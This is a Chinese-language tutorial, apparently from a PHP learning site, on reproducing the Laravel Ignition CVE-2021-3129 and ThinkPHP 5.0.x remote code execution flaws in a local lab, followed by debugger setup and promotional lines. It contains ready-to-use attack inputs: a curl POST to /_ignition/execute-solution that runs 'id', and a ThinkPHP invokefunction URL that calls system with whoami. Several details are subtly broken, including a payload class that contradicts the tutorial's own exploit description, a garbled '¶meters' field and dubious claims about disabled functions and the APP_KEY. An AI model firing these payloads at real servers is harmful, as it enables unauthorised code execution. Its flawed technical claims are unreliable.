cve-2021-3129是laravel ignition组件的未授权反序列化rce漏洞,攻击者无需登录、不依赖交互,通过/_ignition/execute-solution路由传入恶意solution和parameters(如makeviewvariableoptionalsolution与可控viewfile),利用file_get_contents等函数触发phar反序列化,最终在php 7.2–8.0全版本上执行任意代码。

想快速定位PHP框架中常见的安全漏洞,又没有审计经验?本教程从安装调试环境开始,手把手带你跑通Laravel和ThinkPHP两个主流框架的漏洞复现链路,每一步都给出可验证的结果反馈。
搭建PHP审计基础环境
下载并安装XAMPP(Windows)或MAMP(macOS),确保PHP版本为7.4或8.1——【低版本PHP无法解析Laravel 9+的语法】。
启动Apache与MySQL服务,在浏览器访问http://localhost确认页面显示“XAMPP is working!”。
打开终端,执行composer global require laravel/installer,这一步必须联网且能访问packagist.org,否则后续无法创建项目。
复现Laravel未授权反序列化漏洞(CVE-2021-3129)
方法一:使用已知存在漏洞的Laravel 8.4.2版本
在终端执行laravel new vuln-app --git --github=false --branch=8.x,等待项目初始化完成;进入vuln-app目录后,修改.env文件中的APP_KEY值为base64:qQJlZG5jYmFkZmVnYmNkZWZnYmNkZWZnYmNkZWZn,这个密钥是公开的测试密钥,用于触发反序列化流程。
启动内置服务器:php artisan serve --host=127.0.0.1 --port=8000,此时服务运行在http://127.0.0.1:8000。
用curl发送恶意payload:curl -H "Content-Type: application/x-www-form-urlencoded" -X POST http://127.0.0.1:8000/_ignition/execute-solution -d "solution=Facade\Ignition\Solutions\MakeCommandSolution¶meters[command]=id",若返回包含uid=0(root)的响应体,说明漏洞触发成功。
识别ThinkPHP5.0.x远程代码执行入口点
第一步:克隆ThinkPHP 5.0.24源码到web根目录,解压后访问http://localhost/thinkphp/public/,看到“欢迎使用ThinkPHP5”即表示部署成功。
第二步:在URL末尾拼接?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1,回车后页面应直接输出phpinfo()信息。
第三步:将vars[0]替换为system,vars[1][]替换为whoami,此时页面会显示当前Web服务器运行用户,比如www-data或daemon——【此处不能用exec或shell_exec,因ThinkPHP5.0默认禁用这些函数】。
用PHPStorm配置断点跟踪ThinkPHP路由解析过程
打开PHPStorm,选择File → Open → 选中ThinkPHP项目根目录,等待索引完成。
在public/index.php第19行(即require __DIR__.'/../thinkphp/start.php';)左侧灰色区域单击设置断点。
点击右上角“Add Configuration” → “+” → PHP Web Page,Name填tp-debug,Server configuration选localhost:8000,Browser URL填http://localhost/thinkphp/public/?s=index,保存后点击绿色三角形启动调试。
当浏览器加载页面时,PHPStorm自动停在index.php断点处,按F7逐行步入,观察$this->app->run()调用链如何解析?s参数并映射到控制器方法。
php免费学习视频:立即使用
踏上前端学习之旅,开启通往精通之路!从前端基础到项目实战,循序渐进,一步一个脚印,迈向巅峰!











